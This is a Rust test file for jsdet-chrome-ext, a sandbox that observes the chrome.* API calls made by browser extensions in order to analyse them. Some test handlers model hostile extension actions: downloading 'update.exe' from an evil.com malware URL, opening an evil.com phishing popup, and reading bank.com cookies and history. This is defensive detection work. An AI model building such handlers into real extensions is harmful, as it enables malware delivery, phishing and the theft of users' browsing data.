jsdet-chrome-ext 0.1.0

Chrome Extension API bridges for jsdet — chrome.tabs, chrome.cookies, chrome.webRequest, etc.
Documentation
//! Tests for newly added chrome.* API bridges.
//! Each test verifies the API exists, accepts calls, and produces observations.

use jsdet_chrome_ext::state::ExtensionState;
use jsdet_chrome_ext::{AnalysisProfile, ChromeExtBridge, Manifest};
use jsdet_core::bridge::Bridge;
use jsdet_core::{CompiledModule, Observation, PersistentSandbox, SandboxConfig};
use std::sync::Arc;

fn make_sandbox(perms: &str, handler: &str) -> PersistentSandbox {
    let json = format!(
        r#"{{"name":"ApiTest","manifest_version":3,"version":"1.0",
        "background":{{"service_worker":"sw.js"}},
        "permissions":[{perms}]}}"#
    );
    let module = CompiledModule::new().unwrap();
    let manifest = Manifest::parse(&json).unwrap();
    let bridge: Arc<dyn Bridge> = Arc::new(ChromeExtBridge::new(
        manifest.clone(),
        AnalysisProfile::default(),
        ExtensionState::default_with_id("api-test"),
    ));
    let config = SandboxConfig {
        max_fuel: 50_000_000,
        max_memory_bytes: 32 * 1024 * 1024,
        timeout_ms: 3000,
        ..SandboxConfig::default()
    };
    let mut sb = PersistentSandbox::new(&module, bridge, &config).unwrap();
    let bootstrap = jsdet_chrome_ext::bootstrap::generate_bootstrap(&manifest);
    sb.load(&[bootstrap, handler.to_string()]).unwrap();
    sb
}

fn fire(sb: &mut PersistentSandbox, msg: &str) -> Vec<Observation> {
    sb.eval_only(&format!(
        "chrome.runtime._fireOnMessage({msg}, {{tab:{{id:1}},id:'t'}}, function(){{}});"
    ))
}

fn has_api(obs: &[Observation], api: &str) -> bool {
    obs.iter()
        .any(|o| matches!(o, Observation::ApiCall { api: a, .. } if a.contains(api)))
}

#[test]
fn identity_get_auth_token() {
    let mut sb = make_sandbox(
        r#""identity""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.identity.getAuthToken({interactive: false}, function(token) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    assert!(has_api(&obs, "chrome.identity.getAuthToken"));
}

#[test]
fn bookmarks_get_tree() {
    let mut sb = make_sandbox(
        r#""bookmarks""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.bookmarks.getTree(function(tree) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    assert!(has_api(&obs, "chrome.bookmarks.getTree"));
}

#[test]
fn history_search() {
    let mut sb = make_sandbox(
        r#""history""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.history.search({text: msg.query}, function(results) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"query":"bank"}"#);
    assert!(has_api(&obs, "chrome.history.search"));
}

#[test]
fn downloads_download() {
    let mut sb = make_sandbox(
        r#""downloads""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.downloads.download({url: msg.url, filename: msg.name});
        });
    "#,
    );
    let obs = fire(
        &mut sb,
        r#"{"url":"https://evil.com/malware","name":"update.exe"}"#,
    );
    assert!(has_api(&obs, "chrome.downloads.download"));
}

#[test]
fn notifications_create() {
    let mut sb = make_sandbox(
        r#""notifications""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.notifications.create('n1', {type:'basic', title:msg.title, message:msg.body});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"title":"Alert","body":"Click here"}"#);
    assert!(has_api(&obs, "chrome.notifications.create"));
}

#[test]
fn windows_create() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.windows.create({url: msg.url, type: 'popup'});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"url":"https://evil.com/phish"}"#);
    assert!(has_api(&obs, "chrome.windows.create"));
}

#[test]
fn context_menus_create() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.contextMenus.create({id: 'menu1', title: msg.title, contexts: ['all']});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"title":"Inject Script"}"#);
    assert!(has_api(&obs, "chrome.contextMenus.create"));
}

#[test]
fn i18n_get_message() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            var label = chrome.i18n.getMessage(msg.key);
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"key":"appName"}"#);
    // i18n.getMessage is a pure function, no bridge call — just verify no crash
    let _ = obs;
}

#[test]
fn storage_set_and_get() {
    let mut sb = make_sandbox(
        r#""storage""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.storage.local.set({key: msg.data});
            chrome.storage.local.get('key', function(result) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"data":"sensitive"}"#);
    assert!(has_api(&obs, "chrome.storage.local.set"));
    assert!(has_api(&obs, "chrome.storage.local.get"));
}

#[test]
fn cookies_get_all() {
    let mut sb = make_sandbox(
        r#""cookies""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.cookies.getAll({domain: msg.domain}, function(cookies) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{"domain":"bank.com"}"#);
    assert!(has_api(&obs, "chrome.cookies.getAll"));
}

#[test]
fn alarms_create() {
    let mut sb = make_sandbox(
        r#""alarms""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.alarms.create('check', {periodInMinutes: 1});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    assert!(has_api(&obs, "chrome.alarms.create"));
}

#[test]
fn permissions_get_all() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            chrome.permissions.getAll(function(perms) {});
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    assert!(has_api(&obs, "chrome.permissions.getAll"));
}

#[test]
fn web_api_polyfills_dont_crash() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            // These should exist and not crash
            var url = new URL('https://example.com/path?q=1');
            var encoder = new TextEncoder();
            var bytes = encoder.encode('hello');
            var id = crypto.randomUUID();
            var data = new FormData();
            data.append('key', 'value');
            console.log('test', url.hostname, id);
            setTimeout(function() {}, 100);
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    // No crash = success
    let _ = obs;
}

#[test]
fn atob_btoa_dont_crash() {
    let mut sb = make_sandbox(
        r#""tabs""#,
        r#"
        chrome.runtime.onMessage.addListener(function(msg) {
            try {
                if (typeof btoa === 'function') {
                    var encoded = btoa('hello');
                    atob(encoded);
                }
            } catch(e) {}
        });
    "#,
    );
    let obs = fire(&mut sb, r#"{}"#);
    let _ = obs;
}